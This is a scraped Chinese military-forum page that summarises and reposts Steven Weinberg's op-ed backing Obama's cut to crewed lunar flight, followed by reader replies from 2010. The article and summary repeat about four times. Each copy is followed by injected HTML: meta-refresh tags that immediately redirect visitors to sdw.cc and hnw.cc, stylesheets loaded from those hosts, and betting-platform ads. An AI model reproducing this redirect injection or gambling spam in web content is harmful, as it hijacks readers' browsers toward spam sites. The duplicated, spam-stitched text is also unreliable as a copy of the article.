超级军网著名物理学家温伯格背书支持奥巴马新太空计划
来源：百度文库 编辑：超级军网 时间：2024/04/27 17:52:56
<br /><br />搞物理的应该都知道温伯格的大名，弱电统一理论的发现者，诺贝尔物理奖得主。他刚刚发表了一片文章支持奥巴马取消载人登月计划，认为这个让美国的太空计划走上正规。
文章太长，就不翻译了，大意就是载人登月计划，耗资巨大，国家财政负担很重。但是回顾历史，几乎所有意义重大的太空发现都是由无人太空设备完成的，比如卫星，太空望远镜，火星探测器。所以他认为在目前技术条件下，应该大力发展自动控制的太空机器人，完成各种探测活动，而不是再去搞劳民伤财的载人登月计划。
我觉得老温的说法还是很对的。其实中国也没有必要搞载人登月计划
Obama Gets Space Funding Right
We could send hundreds of robots to Mars for the cost of one manned mission.
By STEVEN WEINBERG
In the federal budget released this week, President Barack Obama calls for
increasing NASA's funding by 2% while cutting its manned space flight
program. If enacted by Congress, the cuts will likely end plans to return
astronauts to the moon. Some claim these cuts will damage America's
capabilities in science and technology, but the president's spending plan
will likely boost both.
The manned space flight program masquerades as science, but it actually
crowds out real science at NASA, which is all done on unmanned missions. In
2004 President George W. Bush announced a new vision for the space agency: a
return of astronauts to the moon followed by a manned expedition to Mars. A
few days later NASA's office of Space Science announced major cutbacks in
its important Beyond Einstein and Explorer programs of unmanned research in
astronomy. The explanation was that they "do not clearly support the goals
of the President's vision for space exploration."
Soon after Mr. Bush's announcement I predicted that sending astronauts to
the moon and Mars would be so expensive that future administrations would
abandon the plan. This prediction seems to have come true.
All of the brilliant past discoveries in astronomy for which NASA can take
credit have been made by unmanned satellite-borne observatories, and there
is much more to be done. By studying the polarization of cosmic microwave
radiation, we may find evidence of gravitational waves emitted in the first
fraction of a second of the big bang. By sending laser beams between teams
of satellites, we should be able to detect gravitational waves directly from
collisions between neutron stars and black holes. By correlating the
distances and velocities of many galaxies, we should be able to explore the
mysterious dark energy that makes up most of the energy of the universe.
None of this involves astronauts. The cost of all these projects would be a
few billion dollars—not cheap, but nothing like the hundred or so billion
dollars for a manned return to the moon, or the many hundreds of billions of
dollars for a manned mission to Mars.
It is true that astronauts made a large contribution to astronomy by
servicing the Hubble Space Telescope. But if Hubble had been put into orbit
by unmanned rockets instead of the Space Shuttle, so much money would have
been saved that instead of servicing a single Hubble we could have had half
a dozen Hubbles in orbit, making servicing unnecessary.
In any case, the argument for using astronauts to service satellite
observatories is now out of date. Current unmanned observatories like the
brilliantly successful Wilkinson Microwave Anisotropy Probe and the European
Space Agency's new Planck satellite, which study an era of the universe's
expansion before the origin of matter, are not in low Earth orbits like
Hubble, but at L2. This is a quiet point in space that always remains on the
other side of the Earth from the Sun and is a million miles from our planet
, beyond the reach of astronauts. The successor to Hubble, the James Webb
Space Telescope, will also be at L2.
Giving up on manned space flight doesn't mean we have to give up on the
exploration of the solar system. The president's budget calls for spending $
19 billion on NASA, and for much less than the cost of sending a few
astronauts once to a single location on Mars we could send hundreds of
robots like Spirit and Opportunity to sites all over the planet.
It is difficult to get reliable estimates of the cost of sending astronauts
to Mars, but I have heard no estimate that is less than many hundreds of
billions of dollars. The cost of sending Spirit and Opportunity to Mars was
less than $1 billion. Unmanned exploration of Mars would not only be more
useful scientifically; it would also yield more valuable spin-offs in
technologies that are useful on Earth, like robotics and computer programs
that can deal independently with unexpected obstacles.
The only technology for which the manned space flight program is well suited
is the technology of keeping people alive in space. And the only demand for
that technology is in the manned space flight program itself.
Mr. Weinberg received the Nobel Prize in Physics in 1979 and the National
Medal of Science in 1991. He teaches in the physics and astronomy
departments of the University of Texas at Austin and is the author of "Lake
Views—This World and the Universe," just out from Harvard University Press.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />搞物理的应该都知道温伯格的大名，弱电统一理论的发现者，诺贝尔物理奖得主。他刚刚发表了一片文章支持奥巴马取消载人登月计划，认为这个让美国的太空计划走上正规。
文章太长，就不翻译了，大意就是载人登月计划，耗资巨大，国家财政负担很重。但是回顾历史，几乎所有意义重大的太空发现都是由无人太空设备完成的，比如卫星，太空望远镜，火星探测器。所以他认为在目前技术条件下，应该大力发展自动控制的太空机器人，完成各种探测活动，而不是再去搞劳民伤财的载人登月计划。
我觉得老温的说法还是很对的。其实中国也没有必要搞载人登月计划
Obama Gets Space Funding Right
We could send hundreds of robots to Mars for the cost of one manned mission.
By STEVEN WEINBERG
In the federal budget released this week, President Barack Obama calls for
increasing NASA's funding by 2% while cutting its manned space flight
program. If enacted by Congress, the cuts will likely end plans to return
astronauts to the moon. Some claim these cuts will damage America's
capabilities in science and technology, but the president's spending plan
will likely boost both.
The manned space flight program masquerades as science, but it actually
crowds out real science at NASA, which is all done on unmanned missions. In
2004 President George W. Bush announced a new vision for the space agency: a
return of astronauts to the moon followed by a manned expedition to Mars. A
few days later NASA's office of Space Science announced major cutbacks in
its important Beyond Einstein and Explorer programs of unmanned research in
astronomy. The explanation was that they "do not clearly support the goals
of the President's vision for space exploration."
Soon after Mr. Bush's announcement I predicted that sending astronauts to
the moon and Mars would be so expensive that future administrations would
abandon the plan. This prediction seems to have come true.
All of the brilliant past discoveries in astronomy for which NASA can take
credit have been made by unmanned satellite-borne observatories, and there
is much more to be done. By studying the polarization of cosmic microwave
radiation, we may find evidence of gravitational waves emitted in the first
fraction of a second of the big bang. By sending laser beams between teams
of satellites, we should be able to detect gravitational waves directly from
collisions between neutron stars and black holes. By correlating the
distances and velocities of many galaxies, we should be able to explore the
mysterious dark energy that makes up most of the energy of the universe.
None of this involves astronauts. The cost of all these projects would be a
few billion dollars—not cheap, but nothing like the hundred or so billion
dollars for a manned return to the moon, or the many hundreds of billions of
dollars for a manned mission to Mars.
It is true that astronauts made a large contribution to astronomy by
servicing the Hubble Space Telescope. But if Hubble had been put into orbit
by unmanned rockets instead of the Space Shuttle, so much money would have
been saved that instead of servicing a single Hubble we could have had half
a dozen Hubbles in orbit, making servicing unnecessary.
In any case, the argument for using astronauts to service satellite
observatories is now out of date. Current unmanned observatories like the
brilliantly successful Wilkinson Microwave Anisotropy Probe and the European
Space Agency's new Planck satellite, which study an era of the universe's
expansion before the origin of matter, are not in low Earth orbits like
Hubble, but at L2. This is a quiet point in space that always remains on the
other side of the Earth from the Sun and is a million miles from our planet
, beyond the reach of astronauts. The successor to Hubble, the James Webb
Space Telescope, will also be at L2.
Giving up on manned space flight doesn't mean we have to give up on the
exploration of the solar system. The president's budget calls for spending $
19 billion on NASA, and for much less than the cost of sending a few
astronauts once to a single location on Mars we could send hundreds of
robots like Spirit and Opportunity to sites all over the planet.
It is difficult to get reliable estimates of the cost of sending astronauts
to Mars, but I have heard no estimate that is less than many hundreds of
billions of dollars. The cost of sending Spirit and Opportunity to Mars was
less than $1 billion. Unmanned exploration of Mars would not only be more
useful scientifically; it would also yield more valuable spin-offs in
technologies that are useful on Earth, like robotics and computer programs
that can deal independently with unexpected obstacles.
The only technology for which the manned space flight program is well suited
is the technology of keeping people alive in space. And the only demand for
that technology is in the manned space flight program itself.
Mr. Weinberg received the Nobel Prize in Physics in 1979 and the National
Medal of Science in 1991. He teaches in the physics and astronomy
departments of the University of Texas at Austin and is the author of "Lake
Views—This World and the Universe," just out from Harvard University Press.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
文章太长，就不翻译了，大意就是载人登月计划，耗资巨大，国家财政负担很重。但是回顾历史，几乎所有意义重大的太空发现都是由无人太空设备完成的，比如卫星，太空望远镜，火星探测器。所以他认为在目前技术条件下，应该大力发展自动控制的太空机器人，完成各种探测活动，而不是再去搞劳民伤财的载人登月计划。
我觉得老温的说法还是很对的。其实中国也没有必要搞载人登月计划
Obama Gets Space Funding Right
We could send hundreds of robots to Mars for the cost of one manned mission.
By STEVEN WEINBERG
In the federal budget released this week, President Barack Obama calls for
increasing NASA's funding by 2% while cutting its manned space flight
program. If enacted by Congress, the cuts will likely end plans to return
astronauts to the moon. Some claim these cuts will damage America's
capabilities in science and technology, but the president's spending plan
will likely boost both.
The manned space flight program masquerades as science, but it actually
crowds out real science at NASA, which is all done on unmanned missions. In
2004 President George W. Bush announced a new vision for the space agency: a
return of astronauts to the moon followed by a manned expedition to Mars. A
few days later NASA's office of Space Science announced major cutbacks in
its important Beyond Einstein and Explorer programs of unmanned research in
astronomy. The explanation was that they "do not clearly support the goals
of the President's vision for space exploration."
Soon after Mr. Bush's announcement I predicted that sending astronauts to
the moon and Mars would be so expensive that future administrations would
abandon the plan. This prediction seems to have come true.
All of the brilliant past discoveries in astronomy for which NASA can take
credit have been made by unmanned satellite-borne observatories, and there
is much more to be done. By studying the polarization of cosmic microwave
radiation, we may find evidence of gravitational waves emitted in the first
fraction of a second of the big bang. By sending laser beams between teams
of satellites, we should be able to detect gravitational waves directly from
collisions between neutron stars and black holes. By correlating the
distances and velocities of many galaxies, we should be able to explore the
mysterious dark energy that makes up most of the energy of the universe.
None of this involves astronauts. The cost of all these projects would be a
few billion dollars—not cheap, but nothing like the hundred or so billion
dollars for a manned return to the moon, or the many hundreds of billions of
dollars for a manned mission to Mars.
It is true that astronauts made a large contribution to astronomy by
servicing the Hubble Space Telescope. But if Hubble had been put into orbit
by unmanned rockets instead of the Space Shuttle, so much money would have
been saved that instead of servicing a single Hubble we could have had half
a dozen Hubbles in orbit, making servicing unnecessary.
In any case, the argument for using astronauts to service satellite
observatories is now out of date. Current unmanned observatories like the
brilliantly successful Wilkinson Microwave Anisotropy Probe and the European
Space Agency's new Planck satellite, which study an era of the universe's
expansion before the origin of matter, are not in low Earth orbits like
Hubble, but at L2. This is a quiet point in space that always remains on the
other side of the Earth from the Sun and is a million miles from our planet
, beyond the reach of astronauts. The successor to Hubble, the James Webb
Space Telescope, will also be at L2.
Giving up on manned space flight doesn't mean we have to give up on the
exploration of the solar system. The president's budget calls for spending $
19 billion on NASA, and for much less than the cost of sending a few
astronauts once to a single location on Mars we could send hundreds of
robots like Spirit and Opportunity to sites all over the planet.
It is difficult to get reliable estimates of the cost of sending astronauts
to Mars, but I have heard no estimate that is less than many hundreds of
billions of dollars. The cost of sending Spirit and Opportunity to Mars was
less than $1 billion. Unmanned exploration of Mars would not only be more
useful scientifically; it would also yield more valuable spin-offs in
technologies that are useful on Earth, like robotics and computer programs
that can deal independently with unexpected obstacles.
The only technology for which the manned space flight program is well suited
is the technology of keeping people alive in space. And the only demand for
that technology is in the manned space flight program itself.
Mr. Weinberg received the Nobel Prize in Physics in 1979 and the National
Medal of Science in 1991. He teaches in the physics and astronomy
departments of the University of Texas at Austin and is the author of "Lake
Views—This World and the Universe," just out from Harvard University Press.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />搞物理的应该都知道温伯格的大名，弱电统一理论的发现者，诺贝尔物理奖得主。他刚刚发表了一片文章支持奥巴马取消载人登月计划，认为这个让美国的太空计划走上正规。
文章太长，就不翻译了，大意就是载人登月计划，耗资巨大，国家财政负担很重。但是回顾历史，几乎所有意义重大的太空发现都是由无人太空设备完成的，比如卫星，太空望远镜，火星探测器。所以他认为在目前技术条件下，应该大力发展自动控制的太空机器人，完成各种探测活动，而不是再去搞劳民伤财的载人登月计划。
我觉得老温的说法还是很对的。其实中国也没有必要搞载人登月计划
Obama Gets Space Funding Right
We could send hundreds of robots to Mars for the cost of one manned mission.
By STEVEN WEINBERG
In the federal budget released this week, President Barack Obama calls for
increasing NASA's funding by 2% while cutting its manned space flight
program. If enacted by Congress, the cuts will likely end plans to return
astronauts to the moon. Some claim these cuts will damage America's
capabilities in science and technology, but the president's spending plan
will likely boost both.
The manned space flight program masquerades as science, but it actually
crowds out real science at NASA, which is all done on unmanned missions. In
2004 President George W. Bush announced a new vision for the space agency: a
return of astronauts to the moon followed by a manned expedition to Mars. A
few days later NASA's office of Space Science announced major cutbacks in
its important Beyond Einstein and Explorer programs of unmanned research in
astronomy. The explanation was that they "do not clearly support the goals
of the President's vision for space exploration."
Soon after Mr. Bush's announcement I predicted that sending astronauts to
the moon and Mars would be so expensive that future administrations would
abandon the plan. This prediction seems to have come true.
All of the brilliant past discoveries in astronomy for which NASA can take
credit have been made by unmanned satellite-borne observatories, and there
is much more to be done. By studying the polarization of cosmic microwave
radiation, we may find evidence of gravitational waves emitted in the first
fraction of a second of the big bang. By sending laser beams between teams
of satellites, we should be able to detect gravitational waves directly from
collisions between neutron stars and black holes. By correlating the
distances and velocities of many galaxies, we should be able to explore the
mysterious dark energy that makes up most of the energy of the universe.
None of this involves astronauts. The cost of all these projects would be a
few billion dollars—not cheap, but nothing like the hundred or so billion
dollars for a manned return to the moon, or the many hundreds of billions of
dollars for a manned mission to Mars.
It is true that astronauts made a large contribution to astronomy by
servicing the Hubble Space Telescope. But if Hubble had been put into orbit
by unmanned rockets instead of the Space Shuttle, so much money would have
been saved that instead of servicing a single Hubble we could have had half
a dozen Hubbles in orbit, making servicing unnecessary.
In any case, the argument for using astronauts to service satellite
observatories is now out of date. Current unmanned observatories like the
brilliantly successful Wilkinson Microwave Anisotropy Probe and the European
Space Agency's new Planck satellite, which study an era of the universe's
expansion before the origin of matter, are not in low Earth orbits like
Hubble, but at L2. This is a quiet point in space that always remains on the
other side of the Earth from the Sun and is a million miles from our planet
, beyond the reach of astronauts. The successor to Hubble, the James Webb
Space Telescope, will also be at L2.
Giving up on manned space flight doesn't mean we have to give up on the
exploration of the solar system. The president's budget calls for spending $
19 billion on NASA, and for much less than the cost of sending a few
astronauts once to a single location on Mars we could send hundreds of
robots like Spirit and Opportunity to sites all over the planet.
It is difficult to get reliable estimates of the cost of sending astronauts
to Mars, but I have heard no estimate that is less than many hundreds of
billions of dollars. The cost of sending Spirit and Opportunity to Mars was
less than $1 billion. Unmanned exploration of Mars would not only be more
useful scientifically; it would also yield more valuable spin-offs in
technologies that are useful on Earth, like robotics and computer programs
that can deal independently with unexpected obstacles.
The only technology for which the manned space flight program is well suited
is the technology of keeping people alive in space. And the only demand for
that technology is in the manned space flight program itself.
Mr. Weinberg received the Nobel Prize in Physics in 1979 and the National
Medal of Science in 1991. He teaches in the physics and astronomy
departments of the University of Texas at Austin and is the author of "Lake
Views—This World and the Universe," just out from Harvard University Press.<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩!!足球!篮球...各类投注开户下注
<P> </P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
提到了研究暗能量，詹姆斯·韦布太空望远镜，无人火星探测。总之要把钱花在刀刃上。
hehe，话说理论物理也是个抢经费的大头
少了一个对手他当然开心了
不过目前技术下的深空载人航天确实没啥大意思
投入产出完全不成比例
少了一个对手他当然开心了
不过目前技术下的深空载人航天确实没啥大意思
投入产出完全不成比例
回复 3# oldwatch
理论物理哪抢得过NASA和军方？一个对撞机，顶了天150亿，而且建好了可以用几十年。NASA的年经费就200亿。
理论物理哪抢得过NASA和军方？一个对撞机，顶了天150亿，而且建好了可以用几十年。NASA的年经费就200亿。
我靠，别成天看NASA预算表不把钱当钱好吧
高能物理投资也不小了，而且忽悠元老院的难度还高
想当年超导超级对撞机被国会砍掉
从费米到布鲁克海文那叫一个哀嚎
高能物理投资也不小了，而且忽悠元老院的难度还高
想当年超导超级对撞机被国会砍掉
从费米到布鲁克海文那叫一个哀嚎
其实要上也只要上机器人,大活人上去光生命维持系统就有得烧.....
米国登过月亮了，所以认为搞重复建设有点浪费，谁知道是不是米国政府由于伊拉克阿富汗把钱都吃光了，无法大量拨款，又怕别人技术进步，所以索性放弃登月做个好人？
哈哈,他怎么不叫美国放弃载人上太空啊??由无人太空设备也可以完成的啊
windrarara 发表于 2010-2-4 16:05 
-------
强烈抗议美国载人上太空,尤其是国际空间站,只要上机器人就可以了,上太空去光生命维持系统就有得烧,
-------
强烈抗议美国载人上太空,尤其是国际空间站,只要上机器人就可以了,上太空去光生命维持系统就有得烧,
又来搞笑，近地轨道和月球轨道差了整整一个级别好吧
不过说实话近地轨道载人航天一样象征意义大于实际意义
国际空间站/和平空间站转了也有年头了
不知道到底转出了啥不可替代的结果
不过说实话近地轨道载人航天一样象征意义大于实际意义
国际空间站/和平空间站转了也有年头了
不知道到底转出了啥不可替代的结果